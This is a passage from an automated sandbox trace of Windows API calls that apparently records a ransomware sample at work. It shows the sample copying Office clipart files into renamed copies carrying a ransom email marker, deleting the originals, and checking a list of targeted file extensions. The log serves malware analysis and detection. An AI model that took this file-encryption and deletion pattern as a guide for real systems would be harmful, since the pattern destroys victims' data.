liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.774] SetEndOfFile (hFile=0x388) returned 1 [0271.775] CloseHandle (hObject=0x388) returned 1 [0271.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0271.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0271.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0271.776] lstrlenW (lpString=".doc") returned 4 [0271.776] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.776] lstrlenW (lpString=".docx") returned 5 [0271.776] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.776] lstrlenW (lpString=".pdf") returned 4 [0271.776] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.776] lstrlenW (lpString=".xls") returned 4 [0271.776] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.776] lstrlenW (lpString=".xlsx") returned 5 [0271.776] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.776] lstrlenW (lpString=".ppt") returned 4 [0271.777] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0271.777] lstrlenW (lpString=".zip") returned 4 [0271.777] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.777] lstrlenW (lpString=".rar") returned 4 [0271.777] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.777] lstrlenW (lpString=".bz2") returned 4 [0271.777] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.777] lstrlenW (lpString=".7z") returned 3 [0271.777] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0271.777] lstrlenW (lpString=".dbf") returned 4 [0271.777] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0271.777] lstrlenW (lpString=".1cd") returned 4 [0271.777] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0271.777] lstrlenW (lpString=".jpg") returned 4 [0271.777] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0271.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0271.777] lstrlenW (lpString=".doc") returned 4 [0271.777] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.777] lstrlenW (lpString=".docx") returned 5 [0271.777] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.777] lstrlenW (lpString=".pdf") returned 4 [0271.777] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.777] lstrlenW (lpString=".xls") returned 4 [0271.777] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.777] lstrlenW (lpString=".xlsx") returned 5 [0271.777] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.777] lstrlenW (lpString=".ppt") returned 4 [0271.777] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0271.778] lstrlenW (lpString=".zip") returned 4 [0271.778] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.778] lstrlenW (lpString=".rar") returned 4 [0271.778] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.778] lstrlenW (lpString=".bz2") returned 4 [0271.778] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.778] lstrlenW (lpString=".7z") returned 3 [0271.778] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0271.778] lstrlenW (lpString=".dbf") returned 4 [0271.778] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0271.778] lstrlenW (lpString=".1cd") returned 4 [0271.778] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 63 [0271.778] lstrlenW (lpString=".jpg") returned 4 [0271.778] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.778] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.778] lstrlenW (lpString="PAPER_01.MID") returned 12 [0271.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.779] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=6763) returned 1 [0271.779] CloseHandle (hObject=0x380) returned 1 [0271.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 0x20 [0271.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.780] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.780] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.780] GetLastError () returned 0x0 [0271.780] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x1a6b, lpOverlapped=0x0) returned 1 [0271.782] WriteFile (in: hFile=0x388, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0271.783] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.783] WriteFile (in: hFile=0x388, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.783] SetEndOfFile (hFile=0x388) returned 1 [0271.783] CloseHandle (hObject=0x388) returned 1 [0271.783] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.783] SetEndOfFile (hFile=0x380) returned 1 [0271.786] CloseHandle (hObject=0x380) returned 1 [0271.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0271.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0271.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0271.786] lstrlenW (lpString=".doc") returned 4 [0271.786] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.786] lstrlenW (lpString=".docx") returned 5 [0271.786] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.786] lstrlenW (lpString=".pdf") returned 4 [0271.787] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.787] lstrlenW (lpString=".xls") returned 4 [0271.787] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.787] lstrlenW (lpString=".xlsx") returned 5 [0271.787] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.787] lstrlenW (lpString=".ppt") returned 4 [0271.787] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0271.787] lstrlenW (lpString=".zip") returned 4 [0271.787] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.787] lstrlenW (lpString=".rar") returned 4 [0271.787] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.787] lstrlenW (lpString=".bz2") returned 4 [0271.787] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.787] lstrlenW (lpString=".7z") returned 3 [0271.787] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0271.787] lstrlenW (lpString=".dbf") returned 4 [0271.787] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0271.787] lstrlenW (lpString=".1cd") returned 4 [0271.787] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0271.787] lstrlenW (lpString=".jpg") returned 4 [0271.787] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0271.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0271.787] lstrlenW (lpString=".doc") returned 4 [0271.787] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.787] lstrlenW (lpString=".docx") returned 5 [0271.787] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.787] lstrlenW (lpString=".pdf") returned 4 [0271.788] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.788] lstrlenW (lpString=".xls") returned 4 [0271.788] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.788] lstrlenW (lpString=".xlsx") returned 5 [0271.788] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.788] lstrlenW (lpString=".ppt") returned 4 [0271.788] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0271.788] lstrlenW (lpString=".zip") returned 4 [0271.788] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.788] lstrlenW (lpString=".rar") returned 4 [0271.788] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.788] lstrlenW (lpString=".bz2") returned 4 [0271.788] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.788] lstrlenW (lpString=".7z") returned 3 [0271.788] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0271.788] lstrlenW (lpString=".dbf") returned 4 [0271.788] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0271.788] lstrlenW (lpString=".1cd") returned 4 [0271.788] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 63 [0271.788] lstrlenW (lpString=".jpg") returned 4 [0271.788] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.788] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.788] lstrlenW (lpString="PARNT_01.MID") returned 12 [0271.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.789] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=6491) returned 1 [0271.789] CloseHandle (hObject=0x380) returned 1 [0271.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 0x20 [0271.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.790] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.790] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.791] GetLastError () returned 0x0 [0271.791] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x195b, lpOverlapped=0x0) returned 1 [0271.792] WriteFile (in: hFile=0x388, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x1960, lpOverlapped=0x0) returned 1 [0271.793] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.793] WriteFile (in: hFile=0x388, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.793] SetEndOfFile (hFile=0x388) returned 1 [0271.793] CloseHandle (hObject=0x388) returned 1 [0271.793] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.793] SetEndOfFile (hFile=0x380) returned 1 [0271.795] CloseHandle (hObject=0x380) returned 1 [0271.795] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.795] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0271.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0271.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0271.795] lstrlenW (lpString=".doc") returned 4 [0271.795] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.795] lstrlenW (lpString=".docx") returned 5 [0271.796] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.796] lstrlenW (lpString=".pdf") returned 4 [0271.796] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.796] lstrlenW (lpString=".xls") returned 4 [0271.796] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.796] lstrlenW (lpString=".xlsx") returned 5 [0271.796] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.796] lstrlenW (lpString=".ppt") returned 4 [0271.796] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0271.796] lstrlenW (lpString=".zip") returned 4 [0271.796] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.796] lstrlenW (lpString=".rar") returned 4 [0271.796] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.796] lstrlenW (lpString=".bz2") returned 4 [0271.796] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.796] lstrlenW (lpString=".7z") returned 3 [0271.796] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0271.796] lstrlenW (lpString=".dbf") returned 4 [0271.796] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0271.796] lstrlenW (lpString=".1cd") returned 4 [0271.796] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0271.796] lstrlenW (lpString=".jpg") returned 4 [0271.796] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0271.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0271.797] lstrlenW (lpString=".doc") returned 4 [0271.797] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.797] lstrlenW (lpString=".docx") returned 5 [0271.797] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0271.797] lstrlenW (lpString=".pdf") returned 4 [0271.797] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0271.797] lstrlenW (lpString=".xls") returned 4 [0271.797] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0271.797] lstrlenW (lpString=".xlsx") returned 5 [0271.797] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0271.797] lstrlenW (lpString=".ppt") returned 4 [0271.797] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0271.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0271.797] lstrlenW (lpString=".zip") returned 4 [0271.797] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0271.797] lstrlenW (lpString=".rar") returned 4 [0271.797] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0271.797] lstrlenW (lpString=".bz2") returned 4 [0271.797] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0271.797] lstrlenW (lpString=".7z") returned 3 [0271.797] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0271.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0271.797] lstrlenW (lpString=".dbf") returned 4 [0271.797] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0271.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0271.797] lstrlenW (lpString=".1cd") returned 4 [0271.797] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0271.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 63 [0271.797] lstrlenW (lpString=".jpg") returned 4 [0271.798] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0271.798] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1 [0271.798] lstrlenW (lpString="PARNT_02.MID") returned 12 [0271.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.798] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=5714) returned 1 [0271.798] CloseHandle (hObject=0x380) returned 1 [0271.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 0x20 [0271.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.798] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.798] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.799] GetLastError () returned 0x0 [0271.799] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x1652, lpOverlapped=0x0) returned 1 [0271.801] WriteFile (in: hFile=0x388, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0x1660, lpOverlapped=0x0) returned 1 [0271.801] ReadFile (in: hFile=0x380, lpBuffer=0x3f60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.801] WriteFile (in: hFile=0x388, lpBuffer=0x3f60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f60020*, lpNumberOfBytesWritten=0x337fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.802] SetEndOfFile (hFile=0x388) returned 1 [0271.802] CloseHandle (hObject=0x388) returned 1 [0271.802] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.802] SetEndOfFile (hFile=0x380) returned 1 [0271.806] CloseHandle (hObject=0x380) returned 1 [0271.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.806] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0271.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0271.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0271.806] lstrlenW (lpString=".doc") returned 4 [0271.806] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0271.806] lstrlenW (lpString=".docx") returned 5 [0271.806] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 